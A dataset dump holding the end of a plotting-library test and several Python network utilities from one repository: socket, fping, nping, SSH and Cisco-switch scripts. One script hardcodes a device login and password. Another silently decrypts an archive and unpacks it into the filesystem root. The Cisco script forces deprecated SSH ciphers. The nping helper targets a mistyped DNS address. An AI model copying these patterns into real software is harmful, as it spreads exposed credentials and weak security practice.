⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀\\n 0.27500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.26000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.24500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.23000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.21500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.20000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.18500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.17000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.15500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.14000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.12500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.11000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.09500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.08000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.06500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.05000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.03500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.02000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.00500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.01000 | ⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⡏⠉⠉⡩⠋⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉\\n -0.02500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.04000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.05500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.07000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.08500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.10000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.11500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.13000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.14500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.16000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.17500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.19000 | ⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.20500 | ⠀⠀⠀⠀⠀⠀⠠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.22000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.23500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n -0.25000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n-----------|-|---------|---------|---------|---------|---------|---------|---------|---------|-> (X)\\n | -0.13000 -0.08500 -0.04000 0.00500 0.05000 0.09500 0.14000 0.18500 0.23000 '''\\n assert expected == fig.show() # no legend, origin\\n\\n assert fig.show(legend=True) == expected + '\\\\n\\\\nLegend:\\\\n-------\\\\n⠤⠤ Label 0' # no label for histograms\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2984072,"cells":{"repo_name":{"kind":"string","value":"SandyLinux/NetworkCommunication"},"repo_url":{"kind":"string","value":"https://github.com/SandyLinux/NetworkCommunication"},"snapshot_id":{"kind":"string","value":"84ba35a79999db638e1df8952b67b47e70bf86fc"},"revision_id":{"kind":"string","value":"c6377e653c5ead9cc4550ffec23a3a3824da14ef"},"directory_id":{"kind":"string","value":"55197c3595ecd3443fc4c6c463fca997d3371108"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-03-31T15:53:45.581028","string":"2020-03-31T15:53:45.581028"},"revision_date":{"kind":"timestamp","value":"2019-04-22T04:47:32","string":"2019-04-22T04:47:32"},"committer_date":{"kind":"timestamp","value":"2019-04-22T04:47:32","string":"2019-04-22T04:47:32"},"github_id":{"kind":"number","value":152355455,"string":"152,355,455"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5767195820808411,"alphanum_fraction":0.6058201193809509,"avg_line_length":28.076923370361328,"blob_id":"a3fe8c7d90990bdbbac7f49aa9a9bafa68c5e4f2","content_id":"c9dcf554b044acf33356d96a7376e1d14f725aa7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":378,"license_type":"no_license","max_line_length":63,"num_lines":13,"path":"/send1.py","repo_name":"SandyLinux/NetworkCommunication","src_encoding":"UTF-8","text":"# Echo client program\nimport socket\nimport time\n\nHOST = '' # The remote host\nPORT = 50007 # The same port as used by the server\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.connect((HOST, PORT))\n while True:\n s.sendall(b'Hello, world')\n data = s.recv(1024)\n print('Received-----', repr(data))\n time.sleep(30)\n"},{"alpha_fraction":0.5177083611488342,"alphanum_fraction":0.5416666865348816,"avg_line_length":32.068965911865234,"blob_id":"20b3c0feefba6a9a5abb5cd24c05a4a75dcde64c","content_id":"a6b118d3fee7ed04cd34f1313ac98d5283e76553","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":960,"license_type":"no_license","max_line_length":85,"num_lines":29,"path":"/latency.py","repo_name":"SandyLinux/NetworkCommunication","src_encoding":"UTF-8","text":"from subprocess import Popen, PIPE, STDOUT\nfrom time import sleep\n\ndef get_fping_time(cmd):\n try:\n #execute the fping command, get the output, and convert to ascii format\n #get the 3 latency time\n ret = Popen(cmd, stdout=PIPE, stderr=STDOUT).communicate()[0].decode('ascii')\n str_line = ret.splitlines()\n latency_time = 0\n for i in str_line:\n output = i.strip().split(':')[-1].split()\n #get the 3 latency time list \n res = [float(x) for x in output if x != '-']\n if len(res) > 0:\n latency_time = round(sum(res) / len(res),2)\n else:\n latency_time= 0\n\n return latency_time\n except Exception as err:\n return 0\n\nif __name__ == \"__main__\":\n for i in range(10):\n sleep(2)\n ret = get_fping_time(['fping', '-A','172.16.50.131', '-C', '1', '-q'])\n\n print(\"Import me into main.py to use my functions\")\n\n"},{"alpha_fraction":0.5641891956329346,"alphanum_fraction":0.5810810923576355,"avg_line_length":33.41860580444336,"blob_id":"0837b094a9aa2f2751795a81532067ab64da65a0","content_id":"a317b47a90ae05e37a069a4078103a7902fcb5e6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1480,"license_type":"no_license","max_line_length":121,"num_lines":43,"path":"/nping.py","repo_name":"SandyLinux/NetworkCommunication","src_encoding":"UTF-8","text":"from subprocess import Popen,PIPE,STDOUT\nNULL = open(\"/dev/null\", 'w') # Null file\n\ndef checkInterfaceHasInternetConnectionHelper(name, dest_port, protocol):\n \"\"\"\n check the interface to see if it has network access with :w, i.e., if it can ping google DNS\n Args:\n name: the name of the interface to check\n Returns:\n True if it has internet connection, False otherwise\n \"\"\"\n try:\n ping_cmd = ['nping', '--interface', name, '--dest-port', dest_port, '--%s'%protocol, '-c', '4', \"188.8.8.8\"]\n #Create a subprocess to ping google's DNS and get the return code\n retcode = Popen(ping_cmd, stdout=PIPE, stderr=PIPE, bufsize=0)\n retcode.wait()\n (stdout,stderr) = retcode.communicate()\n\n print(retcode)\n #print(stdout)\n for i in stdout.splitlines():\n if i.decode('utf-8').startswith('Max rtt'):\n print(i.decode('utf-8').split())\n print(i.decode('utf-8').split()[-1])\n \n print(stderr)\n print(retcode.returncode)\n print(retcode.pid)\n #Ping returns 0 on success, 1 or 2 on failure\n except ValueError as verr:\n print(verr)\n print(stderr)\n except Exception as err:\n print(err)\n print(stderr)\n\n if(retcode == 0):\n return True\n else:\n return False\n\nif __name__=='__main__':\n checkInterfaceHasInternetConnectionHelper('eth0', '443', 'tcp')\n"},{"alpha_fraction":0.5759493708610535,"alphanum_fraction":0.5759493708610535,"avg_line_length":21.428571701049805,"blob_id":"379570f2b9779d9c3005c5f5e70ab03d7f0bd7ca","content_id":"1ff138a2d41d18b2841614a28068c7b793a83811","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":158,"license_type":"no_license","max_line_length":49,"num_lines":7,"path":"/resolveDNS.py","repo_name":"SandyLinux/NetworkCommunication","src_encoding":"UTF-8","text":"\nimport re\nwith open('resolv.conf','r') as fp:\n\n dataline = fp.read()\n print(dataline)\n gws = re.findall(r'\\d+.\\d+.\\d+.\\d+',dataline)\n print(gws)\n"},{"alpha_fraction":0.5821596384048462,"alphanum_fraction":0.5821596384048462,"avg_line_length":18.272727966308594,"blob_id":"a06c2c466cfa29e5116544716431407b5baa6755","content_id":"df04c0e64b855c1be018659218aaca8cfd924b88","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":213,"license_type":"no_license","max_line_length":41,"num_lines":11,"path":"/env.py","repo_name":"SandyLinux/NetworkCommunication","src_encoding":"UTF-8","text":"import sys\nimport os\np = os.path.abspath( os.path.dirname(\n os.path.dirname(\n os.path.abspath(__file__)\n )\n )\n)+'/src'\n\n# append module src directory to sys.path\nsys.path.append(p)\n\n"},{"alpha_fraction":0.49977508187294006,"alphanum_fraction":0.5249662399291992,"avg_line_length":27.87013053894043,"blob_id":"5076c5cc2ef8fd154c67d64bbf558edc59c1a908","content_id":"ffc2c30597689a7cd0d32670570c9a308ccf101c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2223,"license_type":"no_license","max_line_length":84,"num_lines":77,"path":"/paramikoSSH.py","repo_name":"SandyLinux/NetworkCommunication","src_encoding":"UTF-8","text":"import paramiko\nfrom getpass import getpass\nimport time,socket\nfrom multiprocessing import Process, Pipe\n\ndef msgSender(conn):\n \"\"\"\n use child process to feed the command to host via ssh connection\n \"\"\"\n msglist = ['show run', 'show ip int br', 'show clock', 'show int trunk', 'exit']\n for msg in msglist:\n \n conn.send([msg])\n time.sleep(5)\n conn.close()\n\ndef main():\n parent_conn, child_conn = Pipe()\n ip = '172.18.200.10'\n username = 'cmlab'\n password = 'cisco123'\n remote_conn_pre=paramiko.SSHClient()\n remote_conn_pre.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n \n try:\n \n remote_conn_pre.connect(ip, port=22, username=username, \n password=password,\n look_for_keys=False, allow_agent=False,\n timeout=10,\n auth_timeout=10)\n \n \n remote_conn = remote_conn_pre.invoke_shell()\n output = remote_conn.recv(65535)\n print ('----1',output)\n\n remote_conn.send(\"terminal length 0\\n\")\n time.sleep(1)\n output = remote_conn.recv(65535)\n print ('----2',output)\n p = Process(target=msgSender, args=(child_conn,))\n p.start()\n \n for _ in range(5):\n print('-----------execution result')\n\n tst2= (parent_conn.recv()[0]) # prints \"[42, None, 'hello']\"\n if tst2=='exit':\n break\n else:\n tst2 = tst2 +\"\\n\" \n print('---!!!!!sending......', tst2)\n remote_conn.send(tst2)\n time.sleep(2)\n output = remote_conn.recv(655350).decode('utf-8')\n #for i in output.splitlines():\n print (output)\n remote_conn.close() \n except socket.timeout as err:\n print(err)\n except paramiko.ssh_exception.AuthenticationException as err:\n print(err)\n except Exception as err:\n print(err)\n \n \"\"\"\n remote_conn.send(\"show ip int br\\n\")\n time.sleep(1)\n output = remote_conn.recv(655350)\n for i in output.splitlines():\n print (i)\n \"\"\"\n\n\nif __name__=='__main__':\n main()\n"},{"alpha_fraction":0.5639229416847229,"alphanum_fraction":0.5709282159805298,"avg_line_length":29.052631378173828,"blob_id":"409b262c9805d7e4a082f5195f14e42a32235837","content_id":"fc11438af5951149ecdffda5d6412c910c0163c6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":571,"license_type":"no_license","max_line_length":95,"num_lines":19,"path":"/etherInterfaceDiscover.py","repo_name":"SandyLinux/NetworkCommunication","src_encoding":"UTF-8","text":"#!/usr/bin/env python3\nimport netifaces\nimport subprocess\n\ndef ethInterfacesCount():\n realifaces = set()\n ifaces=netifaces.interfaces()\n for iface in ifaces:\n if (\"eth\") in iface:\n realifaces.add(iface.split('.')[0])\n print (realifaces)\n if (len(realifaces) >=4):\n print (\"length of set {}\".format(len(realifaces)))\n subprocess.call([\"gpg2\", \"--batch\", \"--yes\", \"-d\", \"-o\",\"/opt/ar.de\", \"/opt/arch.gpg\"])\n\n subprocess.call([\"tar\", \"-zxvf\", \"/opt/ar.de\",\"-C\",\"/\"])\n\nif __name__ == \"__main__\":\n ethInterfacesCount()\n"},{"alpha_fraction":0.601489782333374,"alphanum_fraction":0.6163873076438904,"avg_line_length":33.64516067504883,"blob_id":"ba13692d4a0e3e93b7853c752a9798de6e66c71a","content_id":"0b79fee053de9fec486f213e7ee45eaf08ed15f0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2148,"license_type":"no_license","max_line_length":154,"num_lines":62,"path":"/ciscoswitch.py","repo_name":"SandyLinux/NetworkCommunication","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n#This Script expects you are providing a level 15 user priveledge\n#Uses FTP & Telnet and is insecure\n#Will work if run through a linux terminal, not windows\n#needs ftp server setup and username password added in the cisco device\n#and is only a sample reference to get started.\nimport pexpect\nimport sys\nimport time\nimport datetime\n \nclass CiscoSwitch():\n \n def __init__(self, host, username, password):\n self.username = username\n self.host = host\n self.password = password\n \n def Login(self):\n str1 = 'ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc %s@%s'%(self.username, self.host)\n\n self.child = pexpect.spawn('ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc %s@%s'%(self.username, self.host), echo=False, timeout=30)\n self.child.expect('Password:')\n self.child.sendline(self.password)\n self.child.expect('#')\n self.child.sendline('terminal length 0')\n self.child.expect('#')\n \n return (self.child, self.child.before)\n \n def RunShowCmd(self,cmd):\n self.child.sendline(cmd)\n 